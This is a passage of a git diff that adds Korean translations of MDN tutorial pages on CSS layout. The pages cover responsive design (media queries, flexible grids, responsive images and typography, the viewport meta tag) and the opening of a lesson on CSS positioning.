우리가 만든 것을 시작점로 더 많은 미디어 쿼리 조건을 테스트할 수 있습니다. 예를 들어, 방문자가 pointer 미디어 기능을 사용하여 거친 포인터를 가지고 있는 것을 감지하면 탐색 메뉴의 크기를 변경할 수 있습니다.

+ +

또한 서로 다른 구성 요소를 추가하고 미디어 쿼리를 추가한다든지 또는 가변상자나 격자와 같은 조판 방법을 사용하는 것이 구성 요소를 반응형으로 만드는 가장 적절한 방법인지 여부를 실험할 수 있습니다. 바른 방식 혹은 그른 방식 따윈 없습니다. 말하자면 어떤 것이 디자인과 콘텐츠에 가장 적합한지 실험하고 관찰해야 합니다.

+ + + +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git "a/files/ko/learn/css/css_layout/\353\260\230\354\235\221\355\230\225_\353\224\224\354\236\220\354\235\270/index.html" "b/files/ko/learn/css/css_layout/\353\260\230\354\235\221\355\230\225_\353\224\224\354\236\220\354\235\270/index.html" new file mode 100644 index 0000000000..b1311448c7 --- /dev/null +++ "b/files/ko/learn/css/css_layout/\353\260\230\354\235\221\355\230\225_\353\224\224\354\236\220\354\235\270/index.html" @@ -0,0 +1,333 @@ +--- +title: 반응형 디자인 +slug: Learn/CSS/CSS_layout/반응형_디자인 +tags: + - 가변상장 + - 격자 + - 다단 + - 미디어 쿼리 + - 반응형 웹 디자인 + - 유동 격자 + - 이미지 + - 타이포크래피 +translation_of: Learn/CSS/CSS_layout/Responsive_Design +--- +
{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}
+ +

웹디자인 초창기에는 페이지를 구축할 때 매우 구체적인 화면 크기를 공략 대상으로 삼았습니다. 사용자가 웹디자이너가 예상한 것보다 크거나 작은 화면의 기기를 가지고 있다면 원하지 않는 스크롤 막대에서부터 지나치게 긴 길이의 라인, 사용 공간이 부족하게 되는 결과를 낳습니다. 다양한 화면 크기가 등장함에 따라 responsive web design 개념이 등장했습니다. 말하자면 서로 다른 화면 너비와 해상도 등에 맞게 웹 페이지가 조판과 모양을 변경할 수 있는 일련의 실례를 집대성한 것입니다. 이 아이디어가 우리가 멀티 디바이스 웹에 대한 설계 방식을 바꾸게 만든 장본인입니다. 이 문서에서 우리는 그 내용을 숙달하기 위해 당신이 알아야하는 주요 기술을 이해하도록 도울 것입니다.

+ + + + + + + + + + + + +
선결 사항:에이치티엠엘의 기초인 (에이치티엠엘 입문서를 공부하세요), 그리고 씨에스에스의 작동 방식을 파악하기 위해 (씨에스에스 첫걸음씨에스에스 구성 블록를 공부하세요.)
목표:반응형 디자인의 역사와 핵심적인 계념 파악하기
+ +

웹사이트 조판 역사

+ +

역사의 어느 시점 여러분이 웹 사이트를 디자인할 때 두 가지 옵션이 있었습니다.

+ + + +

이러한 두 가지 접근법은 사이트를 디자인하는 사람의 화면에서 가장 보기 좋은 웹 사이트로 귀결되는 경향이 있었습니다! 유동 사이트는 (아래에서 볼 수 있듯이) 디자이너의 화면보다 더 작은 화면에는 찌부러진 디자인이 나오고, 더 큰 화면에는 읽을 수 없을 정도로 길이가 긴 라인을 만들어냅니다.

+ +
두 개의 열이 있는 조판이 모바일 크기 뷰포트에서 찌부러집니다. +
+
+ +
+

주석: 여기 간단한 유동 조판을 보세요: 예제, 소스 코드. 예제를 보면 브라우저 창을 안팎으로 드래그하여 서로 다른 크기에 반응해 어떻게 보이는지 확인합니다.

+
+ +

고정 폭 사이트는 (아래에서 보듯) 사이트 너비보다 작은 화면상에 수평 스크롤 막대가 생기는 위험이 있고 더 큰 화면상에서는 웹디자인 가장자리에 많은 흰색 공간이 생길 위험이 있습니다.

+ +
이동 뷰포트에 수평 스크롤 막대가 있는 조판입니다. +
+
+ +
+

주석: 여기 간단한 고정 너비 조판을 보세요: 예제, 소스 코드. 역시 브라우저 창 크기를 변경할 때 결과를 관찰하세요.

+
+ +
+

주석: 상단 화면는 파이어폭스 개발툴 안에서 반응형 디자인 모드을 사용해 갈무리 한 것입니다.

+
+ +

모바일 웹이 첫 번째 피처폰의 등장으로 현실화되기 시작하면서 모바일을 수용하고자 하는 회사들은 일반적으로 (종종 m.example.com 또는 example.mobi 이런 식의) 서로 다른 URL를 사용하여 그들의 사이트의 특별한 모바일 버전을 만들게 됩니다. 이는 해당 사이트의 두 가지 별도 버전을 개발하고 최신 상태로 유지해야 한다는 것을 의미했습니다.

+ +

게다가, 이러한 모바일 사이트들을 경험해보면 종종 매우 축소된 기능을 제공합니다. 모바일 장치가 더욱 강력해지고 전체 웹 사이트를 표시할 수 있게 되면서, 그러한 기능 축소 모바일 버전 사이트에 갖힌 자신을 발견한 모바일 사용자들은 그들이 알고 있는 해당 사이트의 전체 기능이 있는 데스크탑 버전의 정보에 접근할 수 없었기에 좌절감을 안겨주었습니다.

+ +

반응형 디자인의 전신 가변 조판

+ +

유동 및 고정 너비의 웹사이트 구축 방법의 단점을 해결하기 위해 여러 가지 접근법이 개발되었습니다. 2004년 카메론 아담스는 다양한 화면 해상도에 적응할 수 있는 디자인을 만드는 방법을 설명하는 해상도 의존 조판이라는 제목의 게시물을 작성했습니다. 이 접근방식은 화면 해상도를 감지하고 정확한 씨에스에스를 로드하려면 자바스크립트가 필요했습니다.

+ +

조이 미클리 길렌워터는 그녀의 작업을 통해 화면을 채우는 것과 완전히 고정된 화면 크기 사이를 만족시키는 평균값을 찾으려고 시도하는 등 가변적인 사이트를 만들 수 있는 다양한 방법을 기술하고 공식화하는 데 산파 역할을 했습니다.

+ +

반응형 디자인

+ +

반응형 디자인이라는 용어는 2010년 이단 마르코트가 만든 신조어로 세 가지 기술을 조합한 용법을 설명하고 있습니다.

+ +
    +
  1. 첫 번째는 이미 길렌워터에 의해 탐구되고 있던 유동 격자라는 아이디어였으며, 마르코트의 유동 격자란(2009년 A List Apart에 발표) 문서에서 읽을 수 있다.
  2. +
  3. 두 번째 기술은 유동 이미지라는 개념이다. max-width 속성을 100%로 설정하는 매우 간단한 기술을 사용하면 이미지의 포함된 열이 이미지의 고유 크기보다 좁아지면 이미지가 더 작아지지만 더 커지지는 않습니다. 이것은 이미지가 대열이탈이 아니라 가변적인 크기의 열에 맞게 축소될 수 있지만 열이 이미지보다 넓어지면 확대되지 않고 픽셀화될 수 있습니다.
  4. +
  5. 세 번째 핵심 구성요소는 미디어 쿼리였습니다. 미디어 쿼리는카메론 아담스가 앞서 자바스크립의 사용을 탐구했던 조판 전환 유형을 씨에스에스만을 사용하여 실현합니다. 모든 화면 크기마다 하나씩 조판을 부여하기 보다는 조판을 변경할 수 있었다. 사이드바를 작은 화면에 맞게 재배치하거나 대체 탐색 매뉴를 표시할 수 있습니다.
  6. +
+ +

반응형 웹 디자인은 별도의 기술이 아니다라는 것을 이해하는 것이 중요합니다. 즉, 웹 디자인에 대한 접근 방식이나 콘텐츠를 보는데 사용되는 장치에 반응할 수 있는 조판 생성에 사용되는 모범 사례 집합을 기술하는 데 사용되는 용어다. 마르코트의 원래 연구에서 이것은 (부동체를 사용하는) 가변 격자와 미디어 쿼리를 의미했지만, 그의 문서가 쓰여진지 거의 10년 만에 반응형으로 동작하는 것이 기본값이 되었다. 현대의 씨에스에스 조판 메서드는 본질적으로 반응형이며 반응형 사이트 설계를 쉽게하기 위해 웹 플랫폼에 새로운 요소들이 내장되어 있습니다.

+ +

이 문서의 나머지 절에서는 반응형 사이트를 만들 때 사용할 수 있는 다양한 웹 플랫폼 기능에 대해 안내할 것입니다.

+ +

미디어 쿼리

+ +

반응형 디자인은 오롯이 미디어 쿼리 때문에 등장할 수 있었습니다. 미디어 쿼리 수준 3 규격은 2009년 권장사항 후보가 되었으며, 이는 브라우저에서 구현할 준비가 되어 있음을 의미합니다. 미디어 쿼리에서는 일련의 테스트를 실행할 수 있습니다(예로 사용자의 화면이 특정 너비나 특정 해성도보다 큰지 여하에 따라). 씨에스에스를 선택적으로 적용하여 사용자의 필요에 따라 페이지를 적절하게 스타일링합니다.

+ +

예를 들어, 아래 미디어 쿼리는 현재 웹 페이지가 화면 미디어로 표시되고 있는지(따라서 인쇄된 문서가 아님) 확인하며 뷰포트는 적어도 800픽셀 너비인지 테스트합니다. .container 선택기는 씨에스에스는 이 두 가지가 사실인 경우에만 적용됩니다.

+ +
@media screen and (min-width: 800px) {
+  .container {
+    margin: 1em 2em;
+  }
+} 
+
+ +

스타일시트에 여러 미디어 쿼리를 추가하여 다양한 화면 크기에 맞는 최적의 전체 조판 또는 조판의 일부를 조정할 수 있습니다. 미디어 쿼리가 도입되고 조판이 변경된 지점을 breakpoints(분기점)라고 합니다.

+ +

미디어 쿼리를 사용할 때 일반적인 접근법은 좁은 화면 장치(예: 휴대폰)에 대한 간단한 단일 열 조판을 만든 다음, 큰 화면인지 점검하고, 화면 폭이 충분하다는 것을 알게 될 때 다단 조판을 구현하는 것이다. 이를 모바일 우선 디자인이라고 표현하는 경우가 많다.

+ +

미디어 쿼리에 대한 MDN 문서를 더 찾아보십시요.

+ +

가변 격자

+ +

반응형 사이트는 분기점 전후로 자체 조판을 변경할 뿐만 아니라 가변 격자상에도 동일하게 구축됩니다. 가변 격자는 현존하는 모든 장치 크기를 공략 대상으로 삼을 필요가 없으며, 그 대상에 대한 완벽한 픽셀 조판을 구축할 필요가 없다는 것을 의미합니다. 완벽한 픽셀 접근 방식은 존재하는 다양한 크기의 장치들이 엄청나게 많고, 적어도 데스크톱에서는 사람들이 항상 브라우저 창을 최대화하지는 않는다는 사실을 감안할 때 불가능할 것입니다.

+ +

가변 격자를 사용하면 요소를 분기점에 추가하고, 콘텐츠가 불량으로 보이기 시작하는 지점에서 디자인을 변경할 수 있습니다. 예를 들어, 화면 크기가 커지면 라인 길이가 읽을 수 없게 길어지거나 상자가 좁아질 때 각 라인에 두 단어로 찌브러집니다.

+ +

반응형 디자인 초창기에는 조판 기능을 수행하는 유일한 옵션은 부동체를 사용하는 것이 었습니다. 가변 부동 조판은 각 요소에 백분율 너비를 부여하고 조판 전체의 너비가 100%를 넘지 않도록 보장함으로써 달성되었습니다. 마르코트는 유동 격자와 관련 그의 원래 작품에서 픽셀을 사용하여 설계된 조판을 채택하여 백분율로 변환하는 공식을 상세히 설명했습니다.

+ +
target / context = result 
+
+ +

예를 들어, 목표 열 크기가 60픽셀이고, 거기에 들어갈 상황(혹은 컨테이너)가 이 960픽셀이면, 씨에스에스에서 사용할 수 있는 값을 얻기 위해 우선 60픽셀을 960픽셀로 나누고 거기에 소수점을 오른쪽으로 두칸 이동합니다.

+ +
.col {
+  width: 6.25%; /* 60 / 960 = 0.0625 */
+} 
+
+ +

이 접근 방식은 오늘날 웹상에 여러 곳에서 발견될 것이며, 여기 우리의 레거시 조판 메서드 문서의 조판 절에 문서화되어 있습니다. 여러분이 업무 중에 이 접근법을 사용하는 웹 사이트를 발견할 가능성이 높기 때문에 부동 기반의 가변 조판을 사용하여 현대적인 사이트를 구축하지는 않겠지만, 그 내용을 이해할 가치는 있습니다.

+ +

다음 예제에서는 미디어 쿼리와 가변 격자를 사용하여 간단한 반응형 디자인를 보여줍니다. 좁은 화면상에서는 상자가 상대 요소 위해 겹겹이 쌓여지는 조판 형태로 표시됩니다.

+ +
상자 무리가 상대 요소의 상단에 수직으로 겹겹이 쌓이는 모바일뷰 조판입니다. +

On wider screens they move to two columns:

+ +
+
+ +
2단 조판이 적용된 데스크탑 뷰입니다. +
+
+ +
+

주석: 여러분은 여기서 실례를 찾아볼 수 있으며, 이 예제에 대한 소스 코드를 깃허브에서 찾을 수 있습니다.

+
+ +

현대 조판 기술

+ +

다단 조판가변상자격자와 같은 현대 조판 메서드는 기본값으로 응답형입니다. 그것들은 모두 여러분이 가변 격자를 만들려 한다고 가정하고 그렇게 동작하도록 편리한 방법을 제공합니다.

+ +

다단

+ +

이러한 조판 메서드 중 가장 오래된 것은 다단입니다. 여러분이 column-count를 지정하면, 이는 여러분이 콘텐츠를 나누고자 하는 단의 숫자를 나타냅니다. 그런 다음 브라우저는 다단의 크기를 화면 크기에 따라 변경되는 크기로 계산합니다.

+ +
.container {
+  column-count: 3;
+} 
+
+ +

column-width을 지정하는 대신 minimum 너비를 지정하는 것입니다. 브라우저는 컨테이너에 안착할 수 있는 만큼으로 지정한 해당 너비를 가진 열을 최대한 많이 생성하고 난 뒤에 다음 모든 열 사이에서 나머지 공간을 공유합니다. 따라서 열의 수는 공간이 얼마나 되는지에 따라 달라집니다.

+ +
.container {
+  column-width: 10em;
+} 
+
+ +

가변상자

+ +

가변상자에서 가변 항목은 초깃값 동작으로 컨테이너의 공간에 따라 항목 사이의 공간을 축소하고 분배합니다. flex-growflex-shrink 값을 변경하면 해당 항목에 주어진 주변 공간이 남거나 모질라게 될 경우 원하는 동작 방식을 표기할 수 있습니다.

+ +

아래 예제에서 가변 항목은 가변 컨테이너 안에서 각각 동일한 양의 공간을 차지하며, 가변상자: 가변 항목의 가변 크기 조정에서 설명했듯이 flex: 1식의 약칭을 사용할 수 있습니다.

+ +
.container {
+  display: flex;
+}
+
+.item {
+  flex: 1;
+} 
+
+ +
+

참고: 예제로써 상기된 간단한 반응형 조판을 재구축했는데 이번에는 가변상자를 사용했습니다. 여러분은 더 이상 낮설은 백분율 값을 사용하여 열의 크기를 계산할 필요가 없는 방법을 보게 됩니다: 예제, 소스 코드.

+
+ +

씨에스에스 격자

+ +

씨에스에스 격자 조판에서 fr 단위는 격자 트랙 전역에 걸쳐 이용할 수 있는 공간을 분배할 수 있습니다. 다음 예에서는 1fr 크기의 트랙 3개가 있는 격자 컨테이너를 만듭니다. 이렇게 하면 3개의 열 트랙이 생성되며, 각 트랙은 컨테이너에 있는 사용 가능한 공간\의 한 부분을 차지합니다. 여러분은 fr 단위를 포함한 가변 격자라는 격자 조판 학습 주제에서 격자를 생성하는 이같은 접근 방식에 대해 자세히 알 수 있습니다.

+ +
.container {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+} 
+
+ +
+

참고: 격자 조판 버전은 .wrapper 예제상에 열을 정의할 수 있으므로 더 간단합니다: 소스 코드.

+
+ +

반응형 이미지

+ +

반응 이미지에 대한 가장 간단한 접근법은 반응형 디자인에 관한 마르코트의 초창기 문서에서 설명한 바와 같습니다. 기본적으로 필요한 최대 크기의 이미지를 촬영하여 그것을 축소할 수 있습니다. 이것은 오늘날에도 사용되는 접근법이며 대부분의 스타일 시트에서 다음과 같은 씨에스에스를 어디선가는 발견할 수 있습니다.

+ +
img {
+  max-width: 100%:
+} 
+
+ +

이 접근법에는 명백한 단점이 있습니다. 해당 이미지는 고유 크기보다 훨씬 작게 표시될 수 있어 대역폭 낭비입니다. 다시말해 모바일 사용자는 브라우저 창에서 실제로 보는 것의 몇 배 크기의 이미지를 다운로드하게 되니 낭비입니다. 또한, 데스크톱과 같은 이미지 가로 세로 비율을 모바일에서 원하지 않을 수도 있습니다. 예를 들어, 모바일의 경우 정사각형 이미지가 좋을 수 있지만 데스크톱상에는 같은 이미지를 가로 보기처럼 장면을 보여줍니다. 또는 모바일 상의 이미지의 크기가 작다는 것을 이해하면서도 서로 다른 이미지를 모두 보여주고 싶을 경우가 있습니다. 말하자면 작은 화면 크기에서 더 쉽게 해석될 수 있는 이미지를 말합니다. 이런 것들은 단순히 이미지를 축소해서는 달성할 수 없습니다.

+ +

반응형 이미지는 <picture> 요소와 <img>, srcsetsizes 속성은 이러한 문제를 모두 해결합니다. 여러분은 "힌트"(이미지에 가장 적합한 화면 크기와 해상도를 설명하는 메타 데이터)와 함께 여러 크기를 제공할 수 있으며, 브라우저는 각 장치에 가장 적합한 이미지를 선택하며, 사용자가 사용하고 있는 장치에 적합한 이미지 크기를 다운로드할 수 있도록 담보합니다.

+ +

또한 다른 화면 크기에서 사용되는 이미지를 art direct할 수 있으므로 서로 다른 화면 크기에 대해 서로 다른 자르기 또는 완전히 다른 이미지를 제공할 수 있습니다.

+ +

이곳 MDN 사이트의 에이치티엠엘 학습 섹션에서 반응형 이미지에 대한 자세한 안내서를 찾을 수 있습니다.

+ +

반응형 타이포그래피

+ +

반응형 타이포그래피 개념은 이전 작업에서 다루지 않은 반응형 디자인의 요소입니다. 본질적으로, 이것은 화면 부동산의 크기가 더 작아지거나 더 커지거나하는 것을 반영하기 위해 미디어 쿼리 구문 안에서 폰트 크기를 변경하는 것을 말합니다.

+ +

이 예제에서 우리는 수준 1 머리글을 4rem로 설정하려고 합니다. 즉, 기본 글꼴 크기의 4배입니다. 정말 큰 제목이네요! 우리는 더 큰 화면 크기상에서만 이 코끼리만한 머리글을 원하기 때문에, 우리는 먼저 더 작은 머리글을 만들고, 미디어 쿼리를 사용해 조건에 맞으면 그것을 더 큰 크기로 덮어쓰기 하면됩니다. 여기서 조건은 사용자가 적어도 1200px의 화면 크기의 기기를 가진 경우가 해당됩니다.

+ +
html {
+  font-size: 1em;
+}
+
+h1 {
+  font-size: 2rem;
+}
+
+@media (min-width: 1200px) {
+  h1 {
+    font-size: 4rem;
+  }
+} 
+
+ +

상기한 반응형 격자 예제를 편집했고, 거기에 더해 이미 제시된 메서드를 사용하는 응답형 유형을 포함시켰습니다. 조판이 2개의 열 버전으로 이동함에 따라 머리글 크기가 어떻게 전환하는지 볼 수 있습니다.

+ +

모바일에서는 머리글이 더 작다:

+ +
머리글 크기가 작은 스택 모양의 조판입니다. +

On desktop however we see the larger heading size:

+ +
+
+ +
큰 머리글이 딸린 두개의 열 조판입니다. +
+
+ +
+

참고: 이 예제의 실제 구현 장면: 예제, 소스 코드.

+
+ +

타이포그래피에 대한 이러한 접근 방식이 보여주듯이, 미디어 쿼리를 제한하여 페이지 조판만 변경할 필요는 없습니다. 그들 접근법을 사용하여 어떤 요소라도 조정해서 대체 화면 크기에 맞는 더 유용하고 매력적인 요소를 만들 수 있다.

+ +

반응형 타이포그래피에 대한 뷰포트 단위 사용하기

+ +

흥미로운 접근 방식은 반응형 타이포그래피를 사용하기 위해 뷰포트 단위 vw를 사용할 수 있다는 점이다. 1vw는 뷰포트 너비의 1%와 동일하며, vw를 사용하여 글꼴 크기를 설정하면 항상 뷰포트 크기와 관련이 있다는 것을 의미한다.

+ +
h1 {
+  font-size: 6vw;
+}
+ +

위의 작업 수행에서의 문제는 사용자가 vw 단위를 사용하여 텍스트 집합을 확대/축소하는 기능을 상실하는 데 있다. 따라서 여러분은 뷰포트 단위만으로 텍스트를 설정해서는 안 된다.

+ +

해결책이 하나 있다. calc()를 사용하는 것이다. 즉, em와 같은 고정된 크기를 사용하여 속성값 집합에 vw 단위를 추가하면 텍스트는 여전히 확대/축소할 수 있다. 본질적으로 vw 단위는 확대/축소 값에 더해 추가된다.

+ +
h1 {
+  font-size: calc(1.5rem + 3vw);
+}
+ +

즉, 머리글에 대한 폰트 크기를 한 번만 지정하면 된다. 크기를 모바일용으로 따로 설정할 게 아니라 미디어 쿼리 내에서 크기를 재정의한다는 말이다. 그러면 뷰포트의 크기가 커질수록 글꼴은 점차 커진다.

+ +
+

이에 대한 예제의 실현: 예제, 소스 코드.

+
+ +

뷰포트 메타 테그

+ +

응답형 페이지의 에이치티엠엘 소스를 보면 일반적으로 문서의 <head>에서 다음과 같은 {{htmlelement("meta")}} 태그를 볼 수 있다.

+ +
<meta name="viewport" content="width=device-width,initial-scale=1">
+
+ +

이 메타 태그는 뷰포트의 너비를 장치의 너비로 설정하여 문서를 의도한 크기의 100%로 확장해야 한다고 모바일 브라우저에게 알려줍니다. 이로써 여러분이 의도한 대로 모바일에 최적화된 크기로 문서를 표시합니다.

+ +

왜 이런 것이 필요할까요? 모바일 브라우저는 뷰포트 너비에 대해 거짓말을 하는 경향이 있기 때문이다.

+ +

이 메타 태그는 원래 iPhone이 출시되고 사람들이 작은 전화 화면에서 웹 사이트를 보기 시작했을 때 대부분의 사이트가 모바일 최적화되지 않았기 때문에 존재합니다. 따라서 모바일 브라우저는 뷰포트 너비를 960픽셀로 설정하게 됩니다. 해당 너비로 페이지를 렌더링하고, 그 결과를 데스크톱 조판의 확대 버전으로 표시합니다. 다른 모바일 브라우저(예를 들어 구글 안드로이드)도 똑같은 일을 합니다. 사용자들은 웹사이트를 확대하고 이리저리 끌어 옮기며(panning) 그들이 관심을 갖는 부분을 볼 수 있었지만, 모양이 형편 없었습니다. 만약 여러분이 반응형 디자인이 아닌 사이트를 우연히 발견하게 된다면, 여러분은 오늘날에도 이런 걸 보게 될 것입니다.

+ +

문제는 분기점과 미디어 쿼리를 포함하는 응답형 디자인이 모바일 브라우저에서 의도한 대로 작동하지 않는다는 점에 있습니다. 여러분이 480px 뷰포트 너비나 그 이하에서 시작하는 좁은 화면 조판을 갖고 있고 뷰포트가 960px로 설정되어 있다면 좁은 화면 조판을 모바일에서 절대 볼 수 없게 된다. width=device-width를 설정하면 애플의 기본값인 width=960px를 장치의 실재 너비로 재지정하므로 당신의 미디어 쿼리가 의도한 대로 작동합니다.

+ +

따라서 에이치티엠엘 문서의 헤더 부분에 상기 에이치티엠엘 라인을 항상 포함해야 합니다.

+ +

뷰포트 메타 태그와 함께 사용할 수 있는 다른 설정이 있지만 일반적으로 상기 에이치티엠엘 라인이면 여러분이 사용하고자 하는 내용에 해당합니다.

+ + + +

여러분은 minimum-scalemaximum-scale 사용을 피해야하며, 특히 user-scalableno로 설정하는 것도 피해야 합니다. 사용자는 필요한 만큼 확대하거나 축소할 수 있어야 합니다.이를 방지하면 접근성 문제가 발생합니다.

+ +
+

참고: 뷰포트 메타 태그를 대체하기 위해 고안된 씨에스에스 @ 규칙이 있습니다. @viewport 그러나 브라우저 지원이 매우 형편없습니다. 그것은 인터넷 익스플로러와 에지에서 구현되었지만, 일단 크롬 기반 에지가 출시되면 더 이상 에지 브라우저의 일부가 되지 않게 됩니다.

+
+ +

요약정리

+ +

반응형 디자인은 디자인이 보여지는 당해 환경에서 반응하는 사이트 및 애플리케이션 디자인을 말합니다. 그것은 많은 씨에스에스와 에이치티엠엘 기능과 기술을 망라하며 이제 기본값으로 우리가 웹사이트를 구축할 때 필수적인 방법입니다. 여러분이 휴대폰으로 방문하는 사이트를 생각해보세요. 데스크톱 버전이 축소된 사이트, 또는 사물을 찾기 위해 옆으로 스크롤해야 하는 사이트를 우연히 발견한다는 것은 상당히 이례적인 일일 것입니다. 그렇게 된 것은 웹이 반응형으로 디자인하는 접근방식으로 옮겨갔기 때문입니다.

+ +

또한 이번 단원에서 배운 조판 메서드의 도움으로 반응형 디자인을 달성하기가 훨씬 쉬워졌습니다. 여러분이 당대 웹 개발에 신출내기라면, 반응형 디자인 초창기보다 훨씬 많은 도구가 마련되어 있으니 맘껏 이용하십시요. 따라서 당신이 참조하고 있는 어떤 자료의 연혁을 확인할 가치가 있습니다. 역사적 기록 문서로서 여전히 유용하지만, 사이트 방문자가 이용하는 장치가 무엇이건 관계없이 우아하고 유용한 디자인을 훨씬 쉽게 생성하려면 씨에스에스와 에이치티엠엘의 현대적 용법이 정답입니다.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git "a/files/ko/learn/css/css_layout/\354\234\204\354\271\230\354\236\241\352\270\260/index.html" "b/files/ko/learn/css/css_layout/\354\234\204\354\271\230\354\236\241\352\270\260/index.html" new file mode 100644 index 0000000000..76a491ae0e --- /dev/null +++ "b/files/ko/learn/css/css_layout/\354\234\204\354\271\230\354\236\241\352\270\260/index.html" @@ -0,0 +1,585 @@ +--- +title: 위치잡기 +slug: Learn/CSS/CSS_layout/위치잡기 +tags: + - 고정 + - 글 + - 상대 + - 씨에스에스 + - 안내서 + - 위치잡기 + - 절대 + - 조판 + - 초보자 + - 코딩스크립팅 +translation_of: Learn/CSS/CSS_layout/Positioning +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}
+ +

당신이 일반 문서 조판 대열에서 요소를 끄집어 내어, 그것이 다르게 행동하게 만들수 있게 해주는 것이 위치잡기다. 예를 들어 상대 요소 위에 놓거나 브라우저 뷰 포트 내부의 동일한 위치를 항상 유지하게 해준다. 이 문서는 서로 다른 {{cssxref("position")}} 값을 설명하고, 그 걸 사용하는 방법에 대해서도 설명한다.

+ + + + + + + + + + + + +
선결 사항:에이치티엠엘의 기초 (에이치티엠엘 입문서)와 씨에스에스 작동 방식에 대한 개념(씨에스에스 입문서를 공부하세요.)
목표:씨에스에스 위치잡기가 작동하는 방법 배우기
+ +

가능하면 우리 깃허브 저장소에 있는 0_basic-flow.html 파일의 사본을 가지고 당신의 컴퓨터상에서 해당 연습을 함께 따라해보시길 바랍니다. (여기 소스 코드)가 있으니 그걸 착수 파일로 이용하십시요.

+ +

위치잡기 소개

+ +

크게봐서 위치잡기의 개념은 위에서 설명했듯 기본 문서 대열에 따른 동작을 무시하고 흥미로운 효과를 낼 수 있도록 하는 것입니다. 조판 내부의 일부 상자의 위치를 기본 조판 대열 위치에서 약간 변경한다거나, 약간 기묘하거나, 편치않은 느낌을 주고 싶다면 어떨까? 위치잡기가 바로 당신의 도구입니다. 또는 페이지의 다른 부분의 상위에 부동(浮動)하는 사용자 인터페이스 요소를 만들고 싶다라거나 아울러 페이지가 스크롤된 정도와 상관없이 항상 브라우저 창 내부의 동일한 위치에 놓이게 하고 싶다면? 위치잡기는 그런 조판 작업을 가능하게 합니다.

+ +

에이치티엠엘 요소에 적용될 수 있는 여러 가지 유형의 위치잡기가 존재합니다. 어떤 요소상에 특정 유형의 위치잡기가 활성화되도록 하기 위해 {{cssxref("position")}} 속성을 사용합니다.

+ +

정적 위치잡기

+ +

정적 위치잡기는 모든 요소에 주어지는 기본값입니다. 즉, "요소를 문서 조판 대열상에 일반 위치에 배치하라는 것으로 여기서 특별한 것은 없습니다."

+ +

이를 입증한다거나, 이어질 섹션에서 다룰 예제를 설정하려면 먼저 에이치티엠엘상에 두 번째 {{htmlelement("p")}} 요소에 positioned라는 클래스를 추가하십시오:

+ +
<p class="positioned"> ... </p>
+ +

이제 다음과 같은 규칙을 당신의 씨에스에스 하단에 추가하십시요:

+ +
.positioned {
+  position: static;
+  background: yellow;
+}
+ +

이제 저장하고 새로고침하면 두 번째 단락의 배경 색깔이 업데이트된 것을 제외하고 다른 차이가 없다는 것이 확인될 것입니다. 아무 문제없습니다. 앞에서 얘기했듯이 정적 위치잡기는 기본값으로 주어진 동작입니다!

+ +
+

주석: 이 시점에 예제의 실제 구현 장면을 1_static-positioning.html에서 볼 수 있습니다.(소스 코드는 여기서 보세요).

+
+ +

상대 위치잡기

+ +

상대 위치잡기는 우리가 살펴 첫 번째 위치 유형입니다. 이것은 정적 위치 결정과 매우 유사합니다. 단, 일단 정상 조판 대열상에 위치잡기할 요소가 자리를 잡고나면 페이지의 다른 요소와 중첩되는 것을 포함하여 최종 위치를 수정할 수 있습니다. 당신의 코드에 있는 position 선언을 업데이트하십시요.

+ +
position: relative;
+ +

현 시점에서 저장하고 새로 고침하면 전혀 변경된 결과가 확인되지 않습니다. 그럼 요소의 위치를 어떻게 수정할까요? 다음 절에서 설명하겠지만, {{cssxref("top")}}, {{cssxref("bottom")}}과 {{cssxref("left")}}, {{cssxref("right")}}을 사용해야 합니다.

+ +

상하 좌우 위치잡기 소개

+ +

{{cssxref("top")}}, {{cssxref("bottom")}}와 {{cssxref("left")}}, and {{cssxref("right")}}는 {{cssxref("position")}}과 나란히 사용되어 기준 위치에 비례해 정확한 위치잡기를 지정한다. 이를 시험하려면 다음 선언문을 씨에스에스 .positioned 규칙에 추가하십시오:

+ +
top: 30px;
+left: 30px;
+ +
+

참고: 이러한 속성의 값은 당신이 논리적으로 예상할 수 있는 모든 단위를 취할 수 있습니다. 예로 pixels, mm, rems, % 등이 해당한다.

+
+ +

이제 저장하고 새로고침하면 다음과 같은 내용의 결과를 얻을 것입니다:

+ + + +

{{ EmbedLiveSample('상하_좌우_위치잡기_소개', '100%', 500) }}

+ +

근사하죠, 그쵸? 좋습니다. 그러나 이것은 아마도 여러분이 기대했던 것이 아니었을 것입니다. 우리가 좌측 상단을 지정했는데 왜 우측 하단으로 이동했을까요? 처음에는 비논리적으로 들릴지 모르지만, 이것은 상대적 위치잡기가 작용하는 방식일 뿐입니다. 즉, 위치가 지정된 상자의 특정 측면을 밀어서 반대 방향으로 움직이는 보이지 않는 힘이 있다고 생각할 필요가 있습니다. 예를 들어, top: 30px;를 지정하면 힘은 상자 상단을 밀어서 30px 아래로 이동하게 만듭니다.

+ +
+

참고: 이 시점에 예제의 실제 구현 장면을 2_relative-positioning.html에서 확인할 수 있습니다(소스 코드 보기).

+
+ +

절대 위치잡기

+ +

절대적인 위치 결정은 매우 다른 결과를 가져옵니다. 당신의 소스 코드에 다음과 같이 위치 선언을 변경해 보겠습니다.

+ +
position: absolute;
+ +

지금 저장한 다음에 새로고침하면 다음과 같은 것이 확인되어야 합니다:

+ + + +

{{ EmbedLiveSample('절대_위치잡기', '100%', 420) }}

+ +

